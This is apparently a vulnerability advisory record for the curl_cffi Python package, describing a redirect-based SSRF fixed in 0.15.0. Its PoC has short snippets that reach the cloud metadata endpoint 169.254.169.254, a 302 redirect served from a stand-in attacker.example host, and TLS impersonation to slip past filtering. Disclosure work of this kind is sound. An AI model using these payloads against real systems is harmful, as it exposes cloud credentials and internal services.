{"id":"PYSEC-2026-2431","summary":"curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)","details":"### Summary\ncurl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.\n\nBecause of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.\n\n### Details\nThe issue comes from how curl_cffi handles outbound requests\n- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).\n- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.\n- There is no validation of redirect destinations at the Python layer.\n\nThis means that even if an application only allows requests to external URLs, an attacker can\n- Provide a URL pointing to an attacker-controlled server\n- Return a redirect response pointing to an internal service\n- Have curl_cffi follow that redirect automatically\n\nAs a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.\n\nAdditionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate=\"chrome\"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block\n\nThis behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.\n\n### PoC\n1. Direct internal request\n```\nimport curl_cffi\nresp = curl_cffi.get(\"http://169.254.169.254/latest/meta-data/\")\nprint(resp.text)\n```\n2. Redirect to internal service\nAttacker server:\n```\nGET /test\n→ 302 Location: http://169.254.169.254/latest/meta-data/\n```\nVictim code:\n```\nimport curl_cffi\nresp = curl_cffi.get(\"https://attacker.example/test\")\nprint(resp.text)\n```\nResult\n- Initial request goes to attacker server\n- Redirect is returned\n- libcurl follows the redirect automatically\n- Internal metadata endpoint is accessed\n\n3. With TLS impersonation\n```\nimport curl_cffi\\\nresp = curl_cffi.get(\n    \"https://attacker.example/test\",\n    impersonate=\"chrome\")\n```\nIn some environments, this may help the request bypass TLS-based filtering controls.\n\n\n### Impact\nAn attacker who can control the requested URL may be able to:\n- Access internal network services\n- Reach cloud metadata endpoints and retrieve sensitive information\n- Bypass certain outbound filtering mechanisms (depending on environment)\nThis corresponds to CWE-918 Server-Side Request Forgery.","aliases":["CVE-2026-33752","GHSA-qw2m-4pqf-rmpp"],"modified":"2026-07-13T16:32:36.499899524Z","published":"2026-07-13T14:36:47.243344Z","references":[{"type":"WEB","url":"https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33752"},{"type":"PACKAGE","url":"https://github.com/lexiforest/curl_cffi"},{"type":"PACKAGE","url":"https://pypi.org/project/curl-cffi"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qw2m-4pqf-rmpp"}],"affected":[{"package":{"name":"curl-cffi","ecosystem":"PyPI","purl":"pkg:pypi/curl-cffi"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.15.0"}]}],"versions":["0.1.5","0.10.0","0.10.0b1","0.10.0b2","0.11.0","0.11.0b1","0.11.0b2","0.11.1","0.11.2","0.11.3","0.11.4","0.12.0","0.12.0b1","0.12.1b1","0.12.1b2","0.13.0","0.13.0b1","0.14.0","0.14.0b1","0.14.0b2","0.14.0b3","0.14.0b4","0.14.0b5","0.15.0b1","0.15.0b2","0.15.0b3","0.15.0b4","0.15.0b5","0.15.0b6","0.15.0rc1","0.2.0","0.2.1","0.2.4","0.2.5","0.3.0","0.3.1","0.3.2","0.3.7","0.3.8","0.4.0","0.5.0","0.5.1","0.5.10","0.5.10b1","0.5.10b2","0.5.10b3","0.5.10b4","0.5.10b5","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.9","0.5.9b1","0.5.9b2","0.5.9b3","0.5.9b4","0.5.9b5","0.5.9b6","0.6.0","0.6.0b2","0.6.0b4","0.6.0b7","0.6.0b9","0.6.1","0.6.2","0.6.3","0.6.3b1","0.6.4","0.7.0","0.7.0b4","0.7.0b6","0.7.0b7","0.7.1","0.7.2","0.7.3","0.7.3b1","0.7.4","0.8.0b1","0.8.0b3","0.8.0b6","0.8.0b7","0.8.1b8","0.8.1b9","0.9.0","0.9.0b1","0.9.0b2"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/curl-cffi/PYSEC-2026-2431.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"}]}